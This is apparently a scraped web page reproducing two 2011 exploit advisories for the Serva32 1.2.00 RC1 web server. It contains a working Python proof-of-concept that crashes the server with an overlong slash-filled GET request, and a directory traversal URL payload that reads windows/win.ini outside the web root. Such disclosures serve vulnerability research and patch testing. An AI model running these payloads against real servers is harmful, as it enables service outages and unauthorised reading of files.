扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
# ------------------------------------------------------------------------ # Software................Serva32 1.2.00 RC1 # Vulnerability...........Denial Of Service # Threat Level............Serious (3/5) # Download................http://www.vercot.com/~serva/ # Discovery Date..........5/7/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # Email...................John Leitch <john@autosectools.com> # ------------------------------------------------------------------------ # # # --Description-- # # A denial of service vulnerability can be exploited to crash Serva32 # 1.2.00 RC1. # # # --PoC-- import socket host = 'localhost' port = 80 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('GET ' + '/' * 4096 + ' HTTP/1.1\r\n' 'Host: localhost\r\n\r\n') ------------------------------------------------------------------------ Software................Serva32 1.2.00 RC1 Vulnerability...........Directory Traversal Threat Level............Serious (3/5) Download................http://www.vercot.com/~serva/ Discovery Date..........5/7/2011 Tested On...............Windows Vista + XAMPP ------------------------------------------------------------------------ Author..................AutoSec Tools Site....................http://www.autosectools.com/ Email...................John Leitch <john@autosectools.com> ------------------------------------------------------------------------ --Description-- A directory traversal vulnerability in Serva32 1.2.00 RC1 can be exploited to read files outside of the web root. --PoC-- http://localhost/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/windows/win.ini |
体验盒子
